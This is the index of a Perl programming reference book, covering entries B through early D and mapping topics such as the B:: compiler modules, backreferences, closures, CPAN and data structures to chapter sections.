\b word boundary assertion: 5.1. The Regular Expression Bestiary
5.6.3. Boundaries: The \b and \B Assertions
1.7.3. Nailing Things Down
B::Asmdata module: 32.1.19. Perl Compiler and Code Generator
B::Assemble module: 32.1.19. Perl Compiler and Code Generator
B::Bblock module: 32.1.19. Perl Compiler and Code Generator
B::Bytecode module: 18.5.1. The Bytecode Generator
32.1.19. Perl Compiler and Code Generator
B::C and B::CC modules: 18.5.2. The C Code Generators
B::C module: 32.1.19. Perl Compiler and Code Generator
B::CC module: 32.1.19. Perl Compiler and Code Generator
B::Debug module: 32.1.19. Perl Compiler and Code Generator
B::Deparse module: 18.6. Code Development Tools
32.1.19. Perl Compiler and Code Generator
B::Disassembler module: 32.1.19. Perl Compiler and Code Generator
B::Lint module: 18.6. Code Development Tools
32.1.19. Perl Compiler and Code Generator
B::Showlex module: 32.1.19. Perl Compiler and Code Generator
B::Stash module: 32.1.19. Perl Compiler and Code Generator
B::Terse module: 32.1.19. Perl Compiler and Code Generator
B::Xref module: 18.6. Code Development Tools
32.1.19. Perl Compiler and Code Generator
backends, compiler: 18.4. Compiler Backends
32.1.19. Perl Compiler and Code Generator
generic interface to: 32.1.19. Perl Compiler and Code Generator
modules: 18.4. Compiler Backends
modules, calling: 18.4. Compiler Backends
backquotes (`): 1.2.1.1. Singularities
backreferences: 1.7.4. Backreferences
5.2.2. The m// Operator (Matching)
5.7.1. Capturing
24.1.1. Universal Blunders
28.2. Special Variables in Alphabetical Order
accessing with numbered variables: 5.7.1. Capturing
creating with parentheses: 5.7.1. Capturing
deriving patterns from matched substrings: 5.10.3.4. Match-time pattern interpolation
backslash (\), interpreting with double quotes: 1.2.1.1. Singularities
backspace, \b assertion in character class: 5.6.3. Boundaries: The \b and \B Assertions
5.4.1. Custom Character Classes
BACKSPACE character
/b for: 5.9.4. The Little Engine That /Could(n't)?/
backticks, portability of: 25.5. Interprocess Communication (IPC)
backtracking: 5.9.4. The Little Engine That /Could(n't)?/
nonbacktracking subpatterns: 5.10.2. Nonbacktracking Subpatterns
in pattern matching: 5.9.4. The Little Engine That /Could(n't)?/
backup files: 19.1.3. Switches
bare blocks: 4.5. Bare Blocks
case structures, doing with: 4.5.1. Case Structures
bare identifiers: 2.6.4. Or Leave the Quotes Out Entirely
barewords: 2.6.4. Or Leave the Quotes Out Entirely
avoiding, reasons for: 24.1.2. Frequently Ignored Advice
Perl versions, changes in: 24.1.5. Previous Perl Traps
strict pragma, checking use of: 4.9.2. Controlling the Use of Globals
base classes: 12.1. Brief Refresher on Object-Oriented Lingo
32.1.14. Convenient Classes
constructors and: 12.4.2. Initializers
overriding methods of: 12.5.2. Accessing Overridden Methods
for pod filters and translators: 32.1.16. Documentation Support
overridden methods, invoking all: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
UNIVERSAL module, providing for all classes: 32.1.14. Convenient Classes
base module: 32.1.13. Perl Language Extensions and Internals
basename, files: 32.1.4. Filenames, Filesystems, and File Locking
$BASETIME: 28.2. Special Variables in Alphabetical Order
basetime ($^T): 28.2. Special Variables in Alphabetical Order
BASIC programming language
logical operators borrowed from: 1.5.5. Logical Operators
BEGIN blocks: 18.1. The Life Cycle of a Perl Program
21.1. How Perl Works
altering compiler parsing of file: 18.7. Avant-Garde Compiler, Retro Interpreter
initializing variables before calling subroutines: 6.2.3. Scoping Issues
modifications to @INC array, handling with: 11.1. Using Modules
order of running: 18.7. Avant-Garde Compiler, Retro Interpreter
beginnings of strings, matching: 5.6.1. Beginnings: The \A and ^ Assertions
Benchmark module: 32.1.18. Development Support
comparing running times of alternate code versions: 32.2. Benchmark
bidirectional communication, pipes: 16.3.3. Bidirectional Communication
bidirectional rendering, Unicode properties: 5.4.3.2. Standard Unicode properties
big-endian: 25.2. Endianness and Number Width
/bin/sh: 19.1. Command Processing
files: 29.2.104. open
decompiling with B::Deparse module: 18.6. Code Development Tools
as regular files: 1.5.7. Some File Test Operators
mode on filehandles: 29.2.6. binmode
operators (see also bitwise operators) : 1.5. Operators
3. Unary and Binary Operators
3. Unary and Binary Operators
class handler, invoking: 13.1. The overload Pragma
pack function: 29.2.108. pack
repetition (x) operator: 1.5.2. String Operators
3.7. Multiplicative Operators
bind function: 29.2.5. bind
DBM file to hash: 29.2.22. dbmopen
operators: 3.6. Binding Operators
variables to packages: 14. Tied Variables
29.2.178. tie
29.2.191. untie
binding operators
=~: 1.7. Regular Expressions
pattern-matching operators, using with: 5.2. Pattern-Matching Operators
tr/// (substitution) operator, use with: 5.2.4. The tr/// Operator (Transliteration)
binmode function: 29.2.6. binmode
binmode: 29.2.104. open
biology, Perl modules for: 22.1. The CPAN modules Directory
bit-shift operators: 3.9. Shift Operators
bit vector, providing array interface to: 14.6. Tie Modules on CPAN
bitmasks: 29.2.141. select (ready file descriptors)
bitwise
negation (~) operator: 3.5. Ideographic Unary Operators
operators: 3.13. Bitwise Operators
3.20. Logical and, or, not, and xor
overloading: 13.3. Overloadable Operators
blank lines, truth value of: 1.6.2.1. The while and until statements
bless function: 12.4. Object Construction
29.2.7. bless
constructors, using with: 12.4. Object Construction
reference as argument for: 8.1. What Is a Reference?
tie vs.: 14. Tied Variables
bless operator: 8.2.3. Object Constructors
8.3.6. Other Tricks You Can Do with Hard References
blib: 21.3.2. Creating Extensions
blib pragma: 31.4. use blib
32.1.17. Module Installation Support
$blksize file statistic: 29.2.165. stat
BLOCK: 4.2. Compound Statements
4.2. Compound Statements
(see also blocks)
block properties, Unicode: 5.4.3.3. Unicode block properties
blocking calls, lock, threads: 17.2.2.1. Synchronizing access with lock
blocking, shared locks: 16.2.1. File Locking
blocking signals: 16.1.4. Blocking Signals
$blocks file statistic: 29.2.165. stat
definition of truth: 1.6.1. What Is Truth?
operators: 1.5.7. Some File Test Operators
Boolean context: 2.7.2. Boolean Context
bool conversion operator: 13.3. Overloadable Operators
m// (match) operator in: 5.2.2. The m// Operator (Matching)
Boolean values: 1.2.1.1. Singularities
bootstrapping modules: 21.3.2. Creating Extensions
32.1.17. Module Installation Support
boundaries, words (matching): 5.6.3. Boundaries: The \b and \B Assertions
boundary assertions: 1.7.3. Nailing Things Down
bounded array, creating: 14.2.1. Array-Tying Methods
break command (in C): 24.1.3. C Traps
break statement (see last operator)
deleting: 20.2.2. Breakpoints
listing all: 20.2.2. Breakpoints
setting for debugger: 20. The Perl Debugger
setting on load: 20.1. Using the Debugger
setting with debugger commands: 20.2.2. Breakpoints
watch expressions, causing: 20.2.3. Tracing
BSD::Resource module, per-process resource limits, setting: 23.3.2. Code Masquerading as Data
bi-directional pipes, problems with: 16.3.3. Bidirectional Communication
single-character input and: 29.2.43. getc
unflushed buffers in Perl versions: 29.2.40. fork
bug reports: 0.6.3. Bug Reports
bugs: 33. Diagnostic Messages
building CPAN modules: 22.2.2. Building CPAN Modules
data types: 2.3. Built-in Data Types
built-in functions
listing by type: 32.1.16. Documentation Support
overriding: 11.3. Overriding Built-in Functions
subroutines, prototyping to emulate: 6.4. Prototypes
built-in methods, overridden: 12.5.2. Accessing Overridden Methods
built-in operators, operating on character semantics: 15.2. Effects of Character Semantics
bundles: 22.1. The CPAN modules Directory
byte meanings, character class shortcuts: 5.4.2. Classic Perl Character Class Shortcuts
bytecode: 18.1. The Life Cycle of a Perl Program
21. Internals and Externals
Byteloader module: 18.5.1. The Bytecode Generator
bytes: 2.1. Atoms
bit-shift operators: 3.9. Shift Operators
characters vs.: 15. Unicode
29. Functions
reading: 29.2.120. read
29.2.172. sysread
storage locations (see big-endian; little-endian)
bytes module: 32.1.6. Internationalization and Locale

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C

%Config hash: 21.4.1. Compiling Embedded Programs
25. Portable Perl
\C, matching single byte in C language: 15.2. Effects of Character Semantics
-c (character special) file test: 3.10. Named Unary and File Test Operators
-c (check syntax) command-line switch: 19.1.3. Switches
21.1. How Perl Works
28.2. Special Variables in Alphabetical Order
-C file test operator: 3.10. Named Unary and File Test Operators
accesing Perl from enclosing framework: 18.4. Compiler Backends
C code generators: 18.5.2. The C Code Generators
C stack, storing C variables on: 18.3. Executing Your Code
C-style logical operators: 3.14. C-Style Logical (Short-Circuit) Operators
fcntl.h definitions, loading as Perl constants: 32.1.7. Operating System Interfaces
library functions: 29. Functions
library, signals triggering core dumps in: 16.1. Signals
operators missing in Perl: 3.21. C Operators Missing from Perl
operators, precedence relationships: 3. Unary and Binary Operators
Perl, extending with: 21.3. Extending Perl (Using C from Perl)
creating extensions: 21.3.2. Creating Extensions
external C library, using functions from: 21.3.4. Using Functions from an External C Library
XSUBs and XS language: 21.3.1. XS and XSUBs
Perl extensions and: 21. Internals and Externals
Perl functions, wrapping around: 21.3.1. XS and XSUBs
Perl, running from: 21.4.5. Fiddling with the Perl Stack from C
Perl, using from: 21.4. Embedding Perl (Using Perl from C)
adding Perl interpreter: 21.4.2. Adding a Perl Interpreter to Your C Program
compiling embedded Perl programs: 21.4.1. Compiling Embedded Programs
Perl statement, evaluating: 21.4.4. Evaluating a Perl Statement from C
Perl subroutine, calling from: 21.4.3. Calling a Perl Subroutine from C
XSUB input and output: 21.3.3. XSUB Input and Output
programming, differences from Perl: 24.1.3. C Traps
structs: 29.2.108. pack
syslog functions, using in Perl: 32.1.7. Operating System Interfaces
wrapper programs: 23.2.1. Unix Kernel Security Bugs
/c modifier
failed matches, searching past: 5.6.4. Progressive Matching
-C (native wide characters) command-line switch: 15.1. Building Character
/c pattern modifier: 5.2.4. The tr/// Operator (Transliteration)
C preprocessor: 19.1.3. Switches
\C wildcard metasymbol: 5.3.3. Wildcard Metasymbols
Control-C: 2.6.2. String Literals
Control-C or Control-Z, generating signals with: 16.1. Signals
caching: 8.5.2. Garbage Collection, Circular References, and Weak References
callbacks: 8.3.7. Closures
caller function: 29.2.8. caller
Perl versions, changes in return value: 24.1.5. Previous Perl Traps
calling
subroutines indirectly: 6.1. Syntax
can method: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
canonical decomposition, characters: 5.4.3.2. Standard Unicode properties
characters, information on: 15.2. Effects of Character Semantics
capitalization: 2.5. Names
29.2.184. uc
barewords, problems with: 2.6.4. Or Leave the Quotes Out Entirely
changing: 5.2.4. The tr/// Operator (Transliteration)
escape sequences for: 2.6.2. String Literals
label names: 4.4. Loop Statements
lc and lcfirst functions: 29.2.82. lc
method names, tied variables: 14. Tied Variables
in module names: 32.1. Listings by Type
module names: 11.1. Using Modules
package/module names: 24.3. Programming with Style
subroutine names: 6.1. Syntax
uppercase, converting to (\u escape): 5.2.3. The s/// Operator (Substitution)
capturing in patterns: 5.7.1. Capturing
suppressing in clustering: 5.7.2. Clustering
words, alphanumeric: 5.2.2. The m// Operator (Matching)
Carp module: 14.1.1. Scalar-Tying Methods
32.1.15. Warnings and Exceptions
32.3. Carp
carriage returns: 25.1. Newlines
(see also newlines)
case
case-sensitive matching, switching off: 5.9.2.1. When backslashes happen
escape sequences for: 5.3.1. Metasymbol Tables
matching, /i operator: 5.2.1. Pattern Modifiers
translation operators, using Unicode tables: 15.2. Effects of Character Semantics
case sensitivity: 5.2.4. The tr/// Operator (Transliteration)
/i modifier (case insensitive): 5.2.1. Pattern Modifiers
case statement: 4.5.1. Case Structures
case structure: 4.5.1. Case Structures
casting
strings and: 2.6. Scalar Values
cat command (Unix): 14.3.1. Hash-Tying Methods
categories of functions: 29.1. Perl Functions by Category
categories, characters: 5.4.3.2. Standard Unicode properties
cbreak option: 29.2.43. getc
C/C++ languages, static variables: 6.2.3. Scoping Issues
centering: 7.1. Format Variables
/cg pattern modifier: 5.2.2. The m// Operator (Matching)
CGI, Perl modules for: 22.1. The CPAN modules Directory
32.1.9. World Wide Web
managing HTML forms with: 32.4. CGI
CGI scripts
input, evaluating (Safe module): 23.3.1.3. Safe examples
taint mode, necessity of running under: 23.1. Handling Insecure Data
CGI::Apache module: 32.1.9. World Wide Web
CGI::Carp module: 32.1.9. World Wide Web
32.5. CGI::Carp
CGI::Cookie module: 32.1.9. World Wide Web
CGI::Fast module: 32.1.9. World Wide Web
CGI::Pretty module: 32.1.9. World Wide Web
CGI::Push module: 32.1.9. World Wide Web
character classes: 1.7. Regular Expressions
5.4. Character Classes
5.9.4. The Little Engine That /Could(n't)?/
confusing with array subscripts: 2.6.5. Interpolating Array Values
custom: 5.4.1. Custom Character Classes
matching against character properties in Unicode: 15.2. Effects of Character Semantics
metasymbols used within: 5.3.1. Metasymbol Tables
Perl classic: 5.4.3.4. Defining your own character properties
Perl shortcuts for: 5.4.2. Classic Perl Character Class Shortcuts
POSIX-style: 5.4.4. POSIX-Style Character Classes
predefined, availability of: 15.2. Effects of Character Semantics
Unicode properties: 5.4.3. Unicode Properties
wildcard metasymbols and: 5.3.3. Wildcard Metasymbols
character metasymbols in character classes: 5.4.1. Custom Character Classes
character semantics, effects of: 15.2. Effects of Character Semantics
character sets
ordering and ranges of characters in: 5.2.4. The tr/// Operator (Transliteration)
portability of: 25.9. Internationalization
Unicode: 15. Unicode
characters: 2.1. Atoms
5.9.4. The Little Engine That /Could(n't)?/
prototype: 6.4. Prototypes
aliases for: 5.3.2. Specific Characters
bytes vs.: 15. Unicode
29. Functions
case of (see capitalization)
converting between fixed 8-bit and variable-length UTF-8: 15.1. Building Character
decomposition of: 5.4.3.2. Standard Unicode properties
deleting: 29.2.11. chomp
$[ variable: 28.2. Special Variables in Alphabetical Order
in formats: 29.2.108. pack
funny characters preceding variable names: 14. Tied Variables
getting ASCII values of: 29.2.106. ord
getting from ASCII values: 29.2.14. chr
getting from Unicode values: 29.2.14. chr
hexadecimal (see hexadecimal characters)
length in: 29.2.84. length
metacharacters: 5.1. The Regular Expression Bestiary
octal (see octal characters)
in patterns: 5.1. The Regular Expression Bestiary
properties: 5.4.3.4. Defining your own character properties
defining your own: 5.4.3.4. Defining your own character properties
replacing in strings: 5.2.4. The tr/// Operator (Transliteration)
single-character input: 29.2.43. getc
special: 5.9.4. The Little Engine That /Could(n't)?/
wildcard matches for: 5.3.3. Wildcard Metasymbols
charnames module: 32.1.6. Internationalization and Locale
charts, generating: 7. Formats
chdir function: 29.2.9. chdir
calling without argument: 19.2. Environment Variables
precedence and: 3.1. Terms and List Operators (Leftward)
CHECK blocks: 18.1. The Life Cycle of a Perl Program
21.1. How Perl Works
order of running: 18.7. Avant-Garde Compiler, Retro Interpreter
checking, taint: 23.1. Handling Insecure Data
checksums: 29.2.189. unpack
chemistry, Perl modules for: 22.1. The CPAN modules Directory
child processes: 29.2.196. wait
(see also processes)
ID, returning: 29.2.40. fork
readable, starting: 16.3.1. Anonymous Pipes
starting writeable: 16.3.1. Anonymous Pipes
$CHILD_ERROR: 28.2. Special Variables in Alphabetical Order
chmod function: 1.3.1. How to Do It
29.2.10. chmod
chomp function: 1.4. Filehandles
29.2.11. chomp
chop function: 1.4. Filehandles
29.2.12. chop
29.2.12. chop
(see also chomp function)
chown function: 29.2.13. chown
chr function: 15.2. Effects of Character Semantics
29.2.14. chr
chroot function: 29.2.15. chroot
chroot syscall: 23.3.1.1. Restricting namespace access
circular references: 8.5.2. Garbage Collection, Circular References, and Weak References
breaking: 12.6.1. Garbage Collection with DESTROY Methods
overloading, avoiding in: 13.3. Overloadable Operators
class inheritance: 12.5. Class Inheritance
class methods: 12.1. Brief Refresher on Object-Oriented Lingo
constructors as: 12.4.1. Inheritable Constructors
package names as invocants for: 12.3. Method Invocation
Thread class: 17.2.1. The Thread Module
Class::Contract module: 12.7.5. Using Closures for Private Objects
classes: 10. Packages
12.1. Brief Refresher on Object-Oriented Lingo
base (see base classes)
data, managing for: 12.8. Managing Class Data
storing references to class data in object itself: 12.8. Managing Class Data
definitions of
object-oriented modules as: 11.1. Using Modules
derived (see derived classes)
functions dealing with: 29.1. Perl Functions by Category
generating with Class::Struct module: 12.7.2. Generating Classes with Class::Struct
implementing tie: 14. Tied Variables
implementing tied filehandles: 14.4. Tying Filehandles
implementing tied hashes: 14.3. Tying Hashes
inheritance among: 12.5. Class Inheritance
base module: 32.1.13. Perl Language Extensions and Internals
method autoloading: 12.5.4. Method Autoloading
overridden methods, accessing: 12.5.2. Accessing Overridden Methods
private methods, avoiding with: 12.5.5. Private Methods
UNIVERSAL class and: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
@ISA array, including with base pragma: 12.5.1. Inheritance Through @ISA
modules vs.: 10. Packages
objects, giving to: 12.4. Object Construction
package: 3.2. The Arrow Operator
29.2.178. tie
29.2.191. untie
packages as: 12.2. Perl's Object System
Perl: 5.4. Character Classes
pseudohash implementations of: 29.2.99. my
quoting packages for: 12.3.4. Package-Quoted Classes
scalar-tying: 14.1.1. Scalar-Tying Methods
version number, returning: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
Class::Multimethods module: 12.5.2. Accessing Overridden Methods
Class::Struct module: 32.1.1. Data Types
32.6. Class::Struct
clearing hashes: 14.3.1. Hash-Tying Methods
networking, getting name of: 16.5.2. Networking Servers
TCP: 16.5.1. Networking Clients
cloisters: 5.7.3. Cloistered Pattern Modifiers
close function: 16.3.1. Anonymous Pipes
29.2.16. close
close-on-exec flag: 28.2. Special Variables in Alphabetical Order
closedir function: 29.2.17. closedir
closing
 server connections (half-close): 16.5.1. Networking Clients
closing tied filehandles: 14.4.1. Filehandle-Tying Methods
closures: 4.8.2. Lexically Scoped Variables: my
8.3.7. Closures
assigning to glob to define subroutine: 10.2. Autoloading
creating: 6.1. Syntax
as function templates: 8.3.7.1. Closures as function templates
generating accessor methods with: 12.7.4. Generating Accessors with Closures
nested subroutines, emulating with: 8.3.7.2. Nested subroutines
private objects, using for: 12.7.5. Using Closures for Private Objects
threads: 17.2.1.1. Thread creation
clustering in patterns: 5.7.2. Clustering
without capturing, reasons for: 5.7.2. Clustering
cmp operator: 1.5.6. Some Numeric and String Comparison Operators
29.2.159. sort
code
effienciency of: 24.2.3. Programmer Efficiency
extracting and displaying with debugger: 20.2.5. Locating Code
insecure, handling: 23.3. Handling Insecure Code
code masquerading as data: 23.3.2. Code Masquerading as Data
safe compartments for: 23.3.1. Safe Compartments
safe examples: 23.3.1.3. Safe examples
mixing character semantics with byte semantics: 15.1. Building Character
reusing: 24.3. Programming with Style
code generators: 18.4. Compiler Backends
32.1.19. Perl Compiler and Code Generator
18.1. The Life Cycle of a Perl Program
18.5. Code Generators
bytecode generator: 18.5.1. The Bytecode Generator
C Code generators: 18.5.2. The C Code Generators
code subpatterns in regular expressions: 5.10.3.3. Match-time code evaluation
combining character sequence, matching with \X: 5.3.3. Wildcard Metasymbols
15.2. Effects of Character Semantics
comma (,) (see comma)
command input operator (see backtick operator)
command line
calling perl interpreter from: 1.3.1. How to Do It
modules for processing: 32.1.3. Option, Argument, Parameter, and Configuration File Processing
screen appearance of: 20.3.3. Debugger Options
editing: 22.1. The CPAN modules Directory
flags
: 22.1. The CPAN modules Directory
switches: 22.1. The CPAN modules Directory
command processing: 19.1.2. Location of Perl
commands
accessing under reduced privileges: 23.1.3. Accessing Commands and Files Under Reduced Privileges
buffering: 28.2. Special Variables in Alphabetical Order
debugger: 20.2. Debugger Commands
actions and: 20.2.6. Actions and Command Execution
breakpoints: 20.2.2. Breakpoints
for display: 20.2.4. Display
20.2.4. Display
documentation, viewing: 20.2.7. Miscellaneous Commands
locating code: 20.2.5. Locating Code
options, manipulating: 20.2.7. Miscellaneous Commands
quitting debugger: 20.2.7. Miscellaneous Commands
restarting debugger: 20.2.7. Miscellaneous Commands
stepping and running: 20.2.1. Stepping and Running
tracing: 20.2.3. Tracing
for loop control: 4.4.4. Loop Control
hashes of functions, storing in: 9.5. Hashes of Functions
history, debugger and: 20.1. Using the Debugger
names for: 1.2.2. Verbs
in pod: 26.1.2. Pod Directives
processing: 19.1. Command Processing
19.1. Command Processing
(see also interpreters; Perl interpreter)
recalling, debugger option: 20.3.3. Debugger Options
multiline: 26.1. Pod in a Nutshell
definition: 2.2. Molecules
discarding before processing: 5.9.1. Letting Perl Do the Work
extending with /x pattern modifier: 5.2.1. Pattern Modifiers
Perl vs. C syntax for: 24.1.3. C Traps
comparing
files: 32.1.4. Filenames, Filesystems, and File Locking
running time of alternate code versions: 32.1.18. Development Support
strings: 3.11. Relational Operators
24.1.1. Universal Blunders
thread objects: 17.2.1.5. Identifying threads
comparison operators: 1.5.6. Some Numeric and String Comparison Operators
1.5.6. Some Numeric and String Comparison Operators
3.12. Equality Operators
overloading: 13.3. Overloadable Operators
sort function and: 29.2.159. sort
compatibility decomposition, characters: 5.4.3.2. Standard Unicode properties
compilation: 21. Internals and Externals
order of: 18.7. Avant-Garde Compiler, Retro Interpreter
compilation phase, processing Perl program: 21.1. How Perl Works
compilation units: 2.5.1. Name Lookups
compile phase vs. compile time: 18.2. Compiling Your Code
compile time, controlling debugger during: 20.1. Using the Debugger
compiler: 28.2. Special Variables in Alphabetical Order
compiler hints: 28.2. Special Variables in Alphabetical Order
compiler, Perl
backends for: 18.4. Compiler Backends
modules related to: 22.1. The CPAN modules Directory
global declarations and: 4.7. Global Declarations
regex compiler: 5.9.3. The Regex Compiler
compilers, Perl
interpreters, interaction with: 18.7. Avant-Garde Compiler, Retro Interpreter
modules related to: 32.1.19. Perl Compiler and Code Generator
compiling: 18. Compiling
compiling your code: 18.2. Compiling Your Code
embedded Perl program (in C): 21.4.1. Compiling Embedded Programs
life cycle, Perl programs
18.1. The Life Cycle of a Perl Program
code generation phase: 18.1. The Life Cycle of a Perl Program
compile phase: 18.1. The Life Cycle of a Perl Program
parse tree reconstruction: 18.1. The Life Cycle of a Perl Program
comp.lang.perl newsgroups: 0.6.2. Usenet Newsgroups
complementation (see negation)
complex data structures
creating in Perl: 9. Data Structures
representing as scalars: 1.2.1.3. Complexities
composite Unicode properties: 5.4.3.1. Perl's Unicode properties
Comprehensive Pearl Archive Network (see CPAN)
COMSPEC environment variable: 19.2. Environment Variables
concatenating strings: 1.5.2. String Operators
concatenation (.) operator: 1.5.2. String Operators
3.8. Additive Operators
24.2.1. Time Efficiency
autogeneration via stringification handler: 13.3. Overloadable Operators
string constants, overloading: 13.6. Overloading Constants
condition variables: 17.2.2.6. Condition variables
conditional (?:) operator: 3.16. Conditional Operator
4.5.1. Case Structures
conditional code execution: 1.5.5. Logical Operators
conditional context (see Boolean context)
conditional statements: 4.3. if and unless Statements
(see also if statements\; unless statements)
without braces, writing: 4.2. Compound Statements
conditionals, interpolation into patterns: 5.10.3.5. Conditional interpolation
conditions, expressions in loops: 4.4.2. for Loops
Config module: 32.1.17. Module Installation Support
operating system mapping between signal names and numbers: 16.1. Signals
configuration files, Perl modules for: 22.1. The CPAN modules Directory
configuration, Perl, for debugging: 19.1.3. Switches
connect function: 29.2.18. connect
shutting down: 29.2.154. shutdown
constant pragma: 10.1. Symbol Tables
constants: 10.1. Symbol Tables
inlining constant functions: 6.4.1. Inlining Constant Functions
overloading: 13.6. Overloading Constants
Perl, loading fcntl.h definitions as: 32.1.7. Operating System Interfaces
System V IPC, defining for: 32.1.8. Networking and Interprocess Communication
constructors: 8.2.3. Object Constructors
12.1. Brief Refresher on Object-Oriented Lingo
12.4. Object Construction
access checks, setting in: 12.7.5. Using Closures for Private Objects
bless function and: 12.4. Object Construction
class names or objects, working with: 12.4.1. Inheritable Constructors
inheritable: 12.4.1. Inheritable Constructors
initializers: 12.4.2. Initializers
naming: 12.4.2. Initializers
new method: 29.2.100. new
tied variable classes: 14. Tied Variables
container classes holding pointers to self-referential data structures: 12.6.1. Garbage Collection with DESTROY Methods
context: 2.7. Context
2.7. Context
Boolean context: 2.7.2. Boolean Context
interpolative (double-quoted) context: 2.7.4. Interpolative Context
scalar and list context: 2.7.1. Scalar and List Context
void: 29.2.198. wantarray
void context: 2.7.3. Void Context
context stack: 18.3. Executing Your Code
continuation lines: 4.4.4. Loop Control
28.2. Special Variables in Alphabetical Order
continue block: 4.4.1. while and until Statements
4.4.3. foreach Loops
4.4.4. Loop Control
4.4.4. Loop Control
(see also loops)
continue command (in C): 24.1.3. C Traps
contract between module and user: 11.2.1. Module Privacy and the Exporter
contractions in words, avoiding confusion with single quotes: 5.10.1. Lookaround Assertions
control characters: 2.6.2. String Literals
metasymbols in patterns: 5.3.2. Specific Characters
non-ASCII on Macintosh: 19.1.1. #! and Quoting on Non-Unix Systems
control structures: 1.6. Control Structures
truth, defining: 1.6.1. What Is Truth?
control variables: 4.4.3. foreach Loops
conversion operators
Boolean context, interpreting object in: 13.3. Overloadable Operators
numification (nonnumeric variable converted to number): 13.3. Overloadable Operators
stringification: 13.3. Overloadable Operators
converting
ASCII value to character: 29.2.14. chr
between integers and UTF-8 characters: 15.2. Effects of Character Semantics
between languages: 24.5.2. Generating Perl in Other Languages
characters to ASCII values: 29.2.106. ord
data types between C and Perl: 21.4.5. Fiddling with the Perl Stack from C
decimal numbers to binary digits or octals: 29.2.162. sprintf
decimal numbers to octal or hexadecimal: 29.2.162. sprintf
hexadecimal numbers to decimal: 29.2.73. hex
list values to strings: 29.2.78. join
29.2.108. pack
numbers to/from hexadecimal: 5.2.3. The s/// Operator (Substitution)
octal numbers to decimal: 29.2.103. oct
strings to list values: 29.2.161. split
29.2.189. unpack
time: 29.2.70. gmtime
29.2.88. localtime
Unicode value to character: 29.2.14. chr
cookies (HTTP), setting and getting: 32.1.9. World Wide Web
copy constructor: 13.4. The Copy Constructor (=)
copy-on-write semantics: 17.1. The Process Model
copying filenames or filehandles: 32.1.4. Filenames, Filesystems, and File Locking
denial-of-service problems with pattern matching: 23.3.2. Code Masquerading as Data
dump function for: 29.2.29. dump
Thread::Signal module, preventing with: 17.2.3.3. Other standard threading modules
signals triggering in C library: 16.1. Signals
core files: 19.1.3. Switches
core modules, Perl: 22.1. The CPAN modules Directory
CORE pseudopackage: 11.3. Overriding Built-in Functions
12.5.2. Accessing Overridden Methods
CORE::GLOBAL pseudopackage: 11.3. Overriding Built-in Functions
cos function (cosines): 29.2.19. cos
counters, magical counter variables: 14.1.2. Magical Counter Variables
CPAN (Comprehensive Perl Archive Network): 10. Packages
1.2.1.4. Simplicities
10. Packages
11. Modules
22. CPAN
CPAN module as automated interface to: 32.8. CPAN
modules
32.1.17. Module Installation Support
32.8. CPAN
directory: 22.1. The CPAN modules Directory
installing modules with: 22.2. Using CPAN Modules
portability of: 25.7. Standard Modules
building: 22.2.2. Building CPAN Modules
categories of modules: 22.1. The CPAN modules Directory
creating: 22.3. Creating CPAN Modules
decompressing and unpacking: 22.2.1. Decompressing and Unpacking CPAN Modules
installing and building: 22.2. Using CPAN Modules
installing into Perl library: 22.2.3. Installing CPAN Modules into the Perl Library
subdirectories: 22. CPAN
tie modules on: 14.6. Tie Modules on CPAN
CPU
access in multitasking environment: 23.2. Handling Timing Glitches
condition variables allowing threads to relinquish: 17.2.2.6. Condition variables
CPU time: 29.2.181. times
CPU, yielding (threads): 17.2.1.7. Yielding the processor
creation time (see modification time, file)
credit cards, Perl modules for: 22.1. The CPAN modules Directory
CRLF: 25.1. Newlines
(see also newlines)
in Internet programs: 16.5.2. Networking Servers
crypt function: 29.2.20. crypt
cryptography: 29.2.164. srand
$ctime file statistic: 29.2.165. stat
curly braces (see {})
1.7.1. Quantifiers
Curses, Perl modules for: 22.1. The CPAN modules Directory
customization
debugger: 20.3. Debugger Customization
debugger options: 20.3.3. Debugger Options
editor support for: 20.3.1. Editor Support for Debugging
functions for: 20.5.1. Writing Your Own Debugger
init files, using: 20.3.2. Customizing with Init Files
Cwd module: 32.1.4. Filenames, Filesystems, and File Locking
current working directory for process, determining: 32.9. Cwd

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D

^D (Control-D) as eof: 24.5.2. Generating Perl in Other Languages
Control-D as eof: 24.5.2. Generating Perl in Other Languages
Control-D character: 2.6.8. Other Literal Tokens
2.6.8. Other Literal Tokens
-d (debug) command-line switch: 19.1.3. Switches
19.1.3. Switches
20. The Perl Debugger
-D (debugging) command-line switch: 19.1.3. Switches
d for digit=\d (for digit): 1.7. Regular Expressions
/d modifier: 5.2.4. The tr/// Operator (Transliteration)
/d pattern modifier: 5.2.4. The tr/// Operator (Transliteration)
-d switch, perl: 20.6. The Perl Profiler
daemons
Perl modules for: 22.1. The CPAN modules Directory
taint mode, importance of enabling for: 23.1. Handling Insecure Data
data
byte-oriented vs. character-oriented: 15. Unicode
fixed-length, functions for: 29.1. Perl Functions by Category
insecure, handling: 23.1. Handling Insecure Data
code masquerading as data: 23.3.2. Code Masquerading as Data
command and file access under reduced privileges: 23.1.3. Accessing Commands and Files Under Reduced Privileges
detecting and laundering tainted data: 23.1.1. Detecting and Laundering Tainted Data
environment, cleaning up: 23.1.2. Cleaning Up Your Environment
screen dump, providing: 32.1.13. Perl Language Extensions and Internals
data access
threads: 17.2.2. Data Access
condition variables: 17.2.2.6. Condition variables
deadlock: 17.2.2.2. Deadlock
locking methods: 17.2.2.5. Locking methods
locking subroutines: 17.2.2.3. Locking subroutines
synchronizing with lock: 17.2.2.1. Synchronizing access with lock
unlocking: 17.2.2.1. Synchronizing access with lock
DATA filehandle: 28.2. Special Variables in Alphabetical Order
data organization in Perl: 9.1.5. Common Mistakes
data structures: 9. Data Structures
22.1. The CPAN modules Directory
arrays of hashes: 9.3. Arrays of Hashes
complex, representing as scalars: 1.2.1.3. Complexities
flat, linear in Perl: 8. References
hashes of arrays: 9.2. Hashes of Arrays
hashes of functions: 9.5. Hashes of Functions
multidimensional hashes: 9.4. Hashes of Hashes
objects (see objects)
